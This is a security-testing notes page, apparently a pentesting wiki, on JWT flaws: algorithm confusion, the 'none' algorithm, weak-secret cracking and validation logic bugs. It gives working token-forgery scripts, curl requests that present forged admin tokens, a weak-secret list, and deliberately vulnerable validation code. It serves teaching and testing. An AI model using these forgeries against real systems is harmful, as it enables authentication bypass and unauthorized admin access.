Page cover
githubEdit

cart-shopping-fastJWT Vulnerabilities

JSON Web Tokens (JWT) are used for authentication. Common implementation flaws allow attackers to forge tokens, bypass validation, or crack weak secrets.

circle-info

JWT Structure

[Header].[Payload].[Signature]
chevron-rightChecklisthashtag
circle-info

Testing

circle-info

Implementation

chevron-rightAlgorithm Confusion (RS256 → HS256)hashtag
circle-info
  • Server uses RS256 (asymmetric) with public/private keys, but also accepts HS256 (symmetric).

  • Attacker changes algorithm to HS256 and uses the PUBLIC KEY as the secret.

Vulnerable Code
public_key = open('public.pem').read()
jwt.decode(token, public_key, algorithms=['RS256', 'HS256'])  # Accepts both!
1. Get a valid JWT
curl https://target.com/login -d "user=test&pass=test"
2. Download public key (often available)
curl https://target.com/.well-known/jwks.json > public.pem
3. Decode current token
echo "eyJhbG..." | base64 -d
# Note current algorithm: RS256
4. Create malicious token with HS256
python3 << EOF
import jwt

public_key = open('public.pem', 'rb').read()
payload = {'sub': 'admin', 'role': 'admin'}

# Use public key as HMAC secret
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
EOF
5. Test the forged token
curl https://target.com/admin \
  -H "Authorization: Bearer <forged_token>"
circle-exclamation
chevron-rightNone Algorithmhashtag
circle-info

JWT spec allows alg: none for unsigned tokens. Some libraries accept these as valid.

Create unsigned JWT
import base64
import json

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin"}

header_b64 = base64.urlsafe_b64encode(
    json.dumps(header).encode()
).decode().rstrip('=')

payload_b64 = base64.urlsafe_b64encode(
    json.dumps(payload).encode()
).decode().rstrip('=')

# Note the trailing period (no signature)
token = f"{header_b64}.{payload_b64}."
print(token)
Test:
curl https://target.com/admin \
  -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9."
circle-exclamation
chevron-rightWeak Secretshashtag
circle-info

JWT signed with weak/common secrets can be brute-forced to reveal the secret, allowing token forgery.

Common Weak Secrets:
secret
secret123
password
test
jwt_secret
your_secret_key_here
myapikey
default
admin
circle-info

Using jwt_tool to find SECRET

git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py <TOKEN> -C -d /path/to/wordlist.txt
circle-info

Once Secret Found forge a new one

import jwt

SECRET = "secret123"  # Cracked secret

# Forge admin token
payload = {
    'sub': 'admin',
    'role': 'admin',
    'exp': 9999999999
}

forged = jwt.encode(payload, SECRET, algorithm='HS256')
print(forged)
circle-exclamation
chevron-rightLogic Flaws in Validationhashtag
circle-info

Bugs in custom JWT validation logic allow bypassing authentication.

Vulnerable Code:
@token_required
def protected_endpoint():
    token = request.args.get('token')
    if not token:
        return jsonify({'message': 'Token is missing!'}), 401
    
    try:
        data = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        
        # LOGIC BUG Inverted boolean logic
        if not data.get('is_admin') and data.get('username') == 'dummy':
            return jsonify({'message': 'Admin access required!'}), 403
            
    except:
        return jsonify({'message': 'Token is invalid!'}), 401
    
    # Process request...

The Bug:The condition blocks access when:

  • is_admin is False/missing AND username == 'dummy'

But ALLOWS access when:

  • is_admin is True (any username)

  • OR username is NOT 'dummy'

circle-info

Missing Null Checks

WRONG
if 'admin' in user.roles:  # What if roles is None?
    grant_access()
RIGHT
if user.roles and 'admin' in user.roles:
    grant_access()
circle-info

Type Confusion

WRONG
if user_id == 1:  # What if user_id is "1" (string)?
    grant_admin()
RIGHT
if user_id == 1 and isinstance(user_id, int):
    grant_admin()
circle-info

Incorrect Operator

WRONG - Always true if is_admin exists
if not is_admin or username != 'guest':
    allow()
RIGHT
if is_admin and username != 'guest':
    allow()
circle-exclamation
chevron-rightAutomated Testing Scripthashtag

Last updated